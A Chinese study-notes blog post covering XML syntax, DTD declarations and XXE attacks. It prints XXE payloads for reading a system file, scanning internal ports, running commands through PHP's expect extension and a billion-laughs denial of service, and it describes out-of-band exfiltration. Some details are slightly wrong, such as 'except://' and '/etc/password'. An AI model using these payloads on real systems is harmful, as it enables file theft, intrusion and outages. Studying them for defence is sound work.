XXE学习
极客的XXE题真的给我整懵了
整好面试结束了也能不用忙着赶进度了(真实)
XML学习
XML介绍
XXE怎么说也是基于XML的嘛,先对XML做一个大致学习。
XML是指可扩展标记语言(Extensible Markup Language)用于传输和存储数据。XML的标签及内容允许作者自己定义,是独立于软件和硬件信息传输工具。
而同为标记语言的HTML则是用来显示数据
XML 应用于 web 开发的许多方面,常用于简化数据的存储和共享。
比如一个个人博客,总不能每次需要添加文章的时候都去修改html源文件吧。为了实现动态显示,可以通过js脚本去读取外部XML文件以达到更新网页的目的。所以说用XML进行数据传输是非常方便的,这也就是为什么网站要用XML传输数据的原因
XML的语法规则
- XML 文档必须有一个根元素
- XML 元素都必须有一个关闭标签
- XML 标签对大小敏感
- XML 元素必须被正确的嵌套
- XML 属性值必须加引导
<?xml version="1.0" encoding="UTF-8" > <!--XML 声明-->
<girl age="18"> <!--自定的根元素girl;age属性需要加引导-->
<hair>长头发</hair> <!--自定义的4个子元素,即girl对象的属性-->
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
</girl> <!--根元素的闭合-->
结构即为上面所示
第一行是XML声明,定义了XML的版本和所用的编码
<?xml version="1.0" encoding="UTF-8" >
下一行是根元素
<girl age="18">
再下方就是子元素
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
最后一行定义根元素的结尾
</girl>
一些字符的实体引用
<
= <>
= >&
= &"
= “&apos
= ‘DTD的使用
DTD(文档类型定义)的作用是定义XML文档的的合法构建模块,它使用一系列的合法元素来定义文档结构,可以被成行的声明于XML文档中,也可做为一个外部引用。直接引用一个例子,如:
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
以上 DTD 解释如下:
-
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
-
!ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”
-
!ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
-
!ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
-
!ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
-
!ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型
<!DOCTYPE 根元素 [元素声明]>
为内部的DOCTYPE声明
<!DOCTYPE 根元素 SYSTEM "文件名">
为外部文档声明
如果DTD在XML文档内部,则使用内部声明。如在外部,则需要使用外部声明进行包含
<!ELEMENT 元素名称 类别>
或
<!ELEMENT 元素名称 (元素内容)>
为元素声明
PCDATA的意思是被解析的字符数据。
声明规则是
- 空元素通过类别关键字EMPTY进行声明
<!ELEMENT 元素名称 EMPTY>
- 只有PCDATA的元素用(#PCDATA)进行声明
<!ELEMENT 元素名称 (#PCDATA)>
- 带有任何内容的元素通过ANY进行声明
<!ELEMENT 元素名称 ANY>
- 带有子元素的元素通过圆括号中子元素进行声明,子元素必须按照主元素声明中的顺序出现,且子元素也必须被声明,子元素也可以拥有子元素。
<!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)>
- 声明只出现一次的元素
<!ELEMENT 元素名称 (子元素名称)>
- 声明最少出现一次的元素
<!ELEMENT 元素名称 (子元素名称+)>
- 声明出现零次或多次的元素
<!ELEMENT 元素名称 (子元素名称*)>
- 声明出现零次或一次的元素
<!ELEMENT 元素名称 (子元素名称?)>
- 声明非什么即什么的类容,即以下例子主元素中需要出现message或者body中的一个
<!ELEMENT 元素名称 (to,from,header,(message|body))>
- 声明混合型内容,和上面一条类似
<!ELEMENT 元素名称 (#PCDATA|to|from|header|message)*>
XXE攻击
XXE攻击思路及实例
XXE的攻击思路主要是利用DTD用用外部实体导致的漏洞,譬如任意文件读取。
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///etc/password">
]>
<hack>&xxe;</hack>
这段代码即是将 file:///etc/password 的内容赋值给外部实体xxe
如果<hack>
标签能够回显,则会显示 file:///etc/password 中的内容。
又譬如内网扫描
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<hack>&xxe;</hack>
这段代码是利用返回的报错信息去判断是否xml获取了相关的数据流,以此判断该端口是否开放。
在对方php安装了expect扩展的情况下,还可以进行命令执行,具体代码如下
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
这段代码是利用expect扩展进行命令执行。原理还没了解过…先搁这儿放着
再比如DDOS
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
上述代码是在内存中生成十亿个”lol”的ddos攻击。(也没有复现…怕炸- -)
当没有回显时,还可通过构建带外通道oob,将回显结果回显在自己服务器下。
原理有点懵,也没复现成功…就大致讲下流程,问完师傅再来补充
通过xxe注入,从自己服务器下读取恶意dtd文件,然后执行dtd文件中payload读取想要读取的文件,再带着回显内容返回自己服务器下,完成攻击。